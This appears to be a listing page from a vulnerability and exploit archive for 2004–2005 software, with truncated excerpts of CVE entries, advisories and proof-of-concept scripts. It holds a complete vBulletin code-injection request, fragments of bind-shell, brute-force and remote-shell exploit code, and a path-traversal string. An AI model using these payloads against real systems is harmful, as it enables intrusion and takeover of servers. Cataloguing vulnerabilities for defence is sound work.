vBulletin 3.0.4 - 'forumdisplay.php' Code Execution (1)

Exploit: ---------------- http://site/forumdisplay.php?GLOBALS=1&f=2&comma=".system'id'." Conditions: ---------------- 1st condition : $vboptions'showforumusers' == True , the admin must set showforumusers ON in vbulletin options. 2nd condition : $bbuserinfo'userid' == 0 , you must be an...

CVE-2005-0316

WebWasher Classic 2.2.1 and 3.3, when running in server mode, does not properly drop CONNECT requests to the localhost from external systems, which could allow remote attackers to bypass intended access restrictions...

itunesPLS-local.txt

/ PoC for iTunes on OS X 10.3.7 - [email protected] - Generates a .pls file, when loaded in iTunes it binds a shell to port 4444. Shellcode contains no \x00 or \x0a's. sample output: -nemo@gir:$ ./fm-eyetewnz foo.pls - fm-eyetewnz - - [email protected] - Creating file: foo.pls. Bindshell ...

bruteforce.webmin.txt

!/usr/bin/perl Webmin BruteForce + Command execution - By Di42lo usage ./bruteforce.webmin.pl ./bruteforce.webmin.pl 192.168.0.5 "uptime" + BruteForcing... + trying to enter with: admim + trying to enter with: admin + Found SID : f3231ff32849fa0c8c98487ba8c09dbb + Password : admin + Connecting to...

Mandrake Linux Security Advisory : samba (MDKSA-2004:158)

Remote exploitation of an integer overflow vulnerability in the smbd daemon included in Samba 2.0.x, Samba 2.2.x, and Samba 3.0.x prior to and including 3.0.9 could allow an attacker to cause controllable heap corruption, leading to execution of arbitrary commands with root privileges. In order t...

iDEFENSE Security Advisory 12.21.04: libtiff STRIPOFFSETS Integer Overflow Vulnerability

libtiff STRIPOFFSETS Integer Overflow Vulnerability iDEFENSE Security Advisory 12.21.04 www.idefense.com/application/poi/display?id=173&type=vulnerabilities December 21, 2004 I. BACKGROUND libtiff provides support for the Tag Image File Format TIFF, a widely used format for storing image data. Mo...

CVE-2004-0894

LSASS Local Security Authority Subsystem Service of Windows 2000 Server and Windows Server 2003 does not properly validate connection information, which allows local users to gain privileges via a specially-designed program...

Easy Software Products LPPassWd 1.1.22 - Resource Limit Denial of Service

// source: https://www.securityfocus.com/bid/12005/info Easy Software Products lppasswd is prone to a locally exploitable denial of service vulnerability. This issue occurs when the program attempts to write a file to the system that will exceed any file size resource limits in place. This presen...

ipbSQL.txt

i have found an sql injection in the popular ipbproarcade mod for ipb systems 1.x and 2.x the vuln exists in the "category" field. buy using this field it is possible to inject any sql query and compemise the entire forum system p.o.c for ipb 1.x...

darryl burgdorf weblibs 1.0 - Directory Traversal

darryl burgdorf weblibs 1.0 - Directory Traversal source: https://www.securityfocus.com/bid/11848/info It is reported that WebLibs is prone to a remote directory traversal vulnerability. This issue is due to a failure of the application to properly filter user-supplied input. WebLibs 1.0 is...

PHP 4.3.7/5.0.0RC3 - 'memory_limit' Remote Overflow

/ Remote exploit for the php memorylimit vulnerability found by Stefan Esser in php 4 include include include include include define IP "127.0.0.1" define PORT 80 int sock; struct sockaddrin s; char request1= "POST /info.php?a1=test HTTP/1.0" "H...

Gearbox Software Halo Game 1.x - Client Remote Denial of Service

Gearbox Software Halo Game 1.x - Client Remote Denial of Service source: https://www.securityfocus.com/bid/11724/info The Halo game client is reported prone to a remote denial of service vulnerability. It is reported that when using the in game browser to view a server list, a malicious reply fro...

GFHost PHP GMail - Remote Command Execution

GFHost explo Spawn bash style Shell with webserver uid Greetz SPAX, foxtwo, Zone-H This Script is currently under development use strict; use IO::Socket; my $host; my $port; my $command; my $url; my @results; my $probe; my @U; $U1 =...

TABS MailCarrier 2.51 - SMTP EHLO HELO Remote Buffer Overflow

TABS MailCarrier 2.51 - SMTP EHLO HELO Remote Buffer Overflow MailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow Advanced, secure and easy to use FTP Server. 23 Oct 2004 - muts D:\BOmailcarrier-2.5-EHLO.py D:\data\toolsnc -v 192.168.1.32 101 localhost 127.0.0.1 101 hostname open Microsoft Windows...

Microsoft Internet Explorer 5.x - Valid File Drag and Drop Embedded Code (MS04-038)

source: https://www.securityfocus.com/bid/11466/info The Microsoft cumulative Internet Explorer patch MS04-038 attempted to limit what files may be dragged and dropped onto the local computer from the Internet Zone to prevent executable objects from being placed on the file system in this manner...

BlackBoard Internet Newsboard System checkdb.inc.php libpath Parameter Remote File Inclusion

The remote host is running the BlackBoard Internet Newsboard System, an open source, PHP-based internet bulletin board software application. The remote version of this software is vulnerable to a remote file include flaw in checkdb.inc.php, due to a lack of sanitization of user-supplied data to t...

SAMBA shared directory traversal

By using /.///etc path it's possible to access /etc directory...

@lex Guestbook livre_include.php Remote File Inclusion

Binary data 2333.prm...

BroadBoard Multiple Script SQL Injection

The remote host appears to be running BroadBoard, an ASP script designed to manage a web-based bulletin-board system. There is a flaw in the remote software that could allow a remote attacker to inject arbitrary SQL commands, which could in turn be used to gain administrative access on the remote...

ROSE Attack (variation 2)

Exploit for unknown platform in category dos / poc ========================= ROSE Attack variation 2 ========================= / ROSE attack variation 2 chuck at lemure.net Discovered by: gandalf at digital.net code modified from large IGMP attack by: Kox by Coolio coolio at k-r4d.com Sends out...